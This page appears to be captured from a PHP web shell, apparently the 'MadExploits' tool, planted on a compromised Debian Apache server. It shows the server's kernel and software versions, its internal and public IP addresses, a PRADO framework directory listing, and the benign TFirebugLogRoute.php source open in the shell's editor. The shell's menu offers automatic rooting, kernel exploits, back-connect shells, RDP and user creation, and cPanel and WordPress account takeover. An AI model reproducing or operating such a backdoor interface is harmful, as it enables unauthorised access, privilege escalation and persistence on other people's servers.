Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 52.14.148.63
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
[ HOME SHELL ]
Name
Size
Permission
Action
Behaviors
[ DIR ]
drwxr-xr-x
Cron
[ DIR ]
drwxr-xr-x
IBaseBehavior.php
957
B
-rw-r--r--
IBehavior.php
957
B
-rw-r--r--
IClassBehavior.php
1.43
KB
-rw-r--r--
IDbModule.php
959
B
-rw-r--r--
IDynamicMethods.php
618
B
-rw-r--r--
IInstanceCheck.php
1.35
KB
-rw-r--r--
IPluginModule.php
531
B
-rw-r--r--
TBehavior.php
2.41
KB
-rw-r--r--
TBehaviorsModule.php
7.83
KB
-rw-r--r--
TBrowserLogRoute.php
4.75
KB
-rw-r--r--
TCallChain.php
6.08
KB
-rw-r--r--
TClassBehavior.php
852
B
-rw-r--r--
TClassBehaviorEventParameter.p...
1.81
KB
-rw-r--r--
TDataFieldAccessor.php
3.38
KB
-rw-r--r--
TDbLogRoute.php
6.08
KB
-rw-r--r--
TDbParameterModule.php
22.81
KB
-rw-r--r--
TDbPluginModule.php
2.88
KB
-rw-r--r--
TEmailLogRoute.php
3.66
KB
-rw-r--r--
TFileLogRoute.php
4.09
KB
-rw-r--r--
TFirePhpLogRoute.php
2.96
KB
-rw-r--r--
TFirebugLogRoute.php
3.81
KB
-rw-r--r--
TJsonRpcClient.php
2.47
KB
-rw-r--r--
TLogRoute.php
4.82
KB
-rw-r--r--
TLogRouter.php
5.18
KB
-rw-r--r--
TLogger.php
8.32
KB
-rw-r--r--
TParameterModule.php
5.45
KB
-rw-r--r--
TPluginModule.php
4.84
KB
-rw-r--r--
TRpcClient.php
3.91
KB
-rw-r--r--
TRpcClientRequestException.php
590
B
-rw-r--r--
TRpcClientResponseException.ph...
725
B
-rw-r--r--
TRpcClientTypesEnumerable.php
458
B
-rw-r--r--
TSimpleDateFormatter.php
8.86
KB
-rw-r--r--
TUtf8Converter.php
1.34
KB
-rw-r--r--
TVarDumper.php
3.43
KB
-rw-r--r--
TXmlRpcClient.php
2.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TFirebugLogRoute.php
<?php /** * TLogRouter, TLogRoute, TFileLogRoute, TEmailLogRoute class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util; use Prado\Exceptions\TException; use Prado\Web\Javascripts\TJavaScript; use Prado\Web\UI\ActiveControls\TActivePageAdapter; /** * TFirebugLogRoute class. * * TFirebugLogRoute prints selected log messages in the firebug log console. * * {@link http://www.getfirebug.com/ FireBug Website} * * @author Enrico Stahn <mail@enricostahn.com>, Christophe Boulain <Christophe.Boulain@gmail.com> * @since 3.1.2 * @method \Prado\Web\Services\TPageService getService() */ class TFirebugLogRoute extends TBrowserLogRoute { public function processLogs($logs) { $page = $this->getService()->getRequestedPage(); if (empty($logs) || $this->getApplication()->getMode() === 'Performance') { return; } $first = $logs[0][3]; $even = true; $blocks = [['info', 'Tot Time', 'Time ', '[Level] [Category] [Message]']]; for ($i = 0, $n = count($logs); $i < $n; ++$i) { if ($i < $n - 1) { $timing['delta'] = $logs[$i + 1][3] - $logs[$i][3]; $timing['total'] = $logs[$i + 1][3] - $first; } else { $timing['delta'] = '?'; $timing['total'] = $logs[$i][3] - $first; } $timing['even'] = !($even = !$even); $blocks[] = $this->renderMessageCallback($logs[$i], $timing); } try { $blocks = TJavaScript::jsonEncode($blocks); } catch (\Exception $e) { // strip everythin not 7bit ascii $blocks = preg_replace('/[^(\x20-\x7F)]*/', '', serialize($blocks)); } // the response has already been flushed $response = $this->getApplication()->getResponse(); if ($page->getIsCallback()) { $content = $response->createHtmlWriter(); $content->getWriter()->setBoundary(TActivePageAdapter::CALLBACK_DEBUG_HEADER); $content->write($blocks); $response->write($content); } } protected function renderHeader() { $page = $this->getService()->getRequestedPage(); if ($page->getIsCallback()) { return <<<EOD <script> /*<![CDATA[*/ if (typeof(console) == 'object') { var groupFunc = blocks.length < 10 ? 'group': 'groupCollapsed'; if(typeof log[groupFunc] === "function") log[groupFunc]("Callback logs ("+blocks.length+" entries)"); console.log ("[Tot Time] [Time ] [Level] [Category] [Message]"); EOD; } return ''; } protected function renderMessage($log, $info) { $logfunc = 'console.' . $this->getFirebugLoggingFunction($log[1]); $total = sprintf('%0.6f', $info['total']); $delta = sprintf('%0.6f', $info['delta']); $msg = trim($this->formatLogMessage($log[0], $log[1], $log[2], '')); $msg = preg_replace('/\(line[^\)]+\)$/', '', $msg); //remove line number info $msg = "[{$total}] [{$delta}] " . $msg; // Add time spent and cumulated time spent $string = $logfunc . '(\'' . addslashes($msg) . '\');' . "\n"; return $string; } protected function renderMessageCallback($log, $info) { $logfunc = $this->getFirebugLoggingFunction($log[1]); $total = sprintf('%0.6f', $info['total']); $delta = sprintf('%0.6f', $info['delta']); $msg = trim($this->formatLogMessage($log[0], $log[1], $log[2], '')); $msg = preg_replace('/\(line[^\)]+\)$/', '', $msg); //remove line number info return [$logfunc, $total, $delta, $msg]; } protected function renderFooter() { $string = <<<EOD if(typeof console.groupEnd === "function") console.groupEnd(); } </script> EOD; return $string; } protected function getFirebugLoggingFunction($level) { switch ($level) { case TLogger::DEBUG: case TLogger::INFO: case TLogger::NOTICE: return 'info'; case TLogger::WARNING: return 'warn'; case TLogger::ERROR: case TLogger::ALERT: case TLogger::FATAL: return 'error'; default: return 'log'; } } }
Close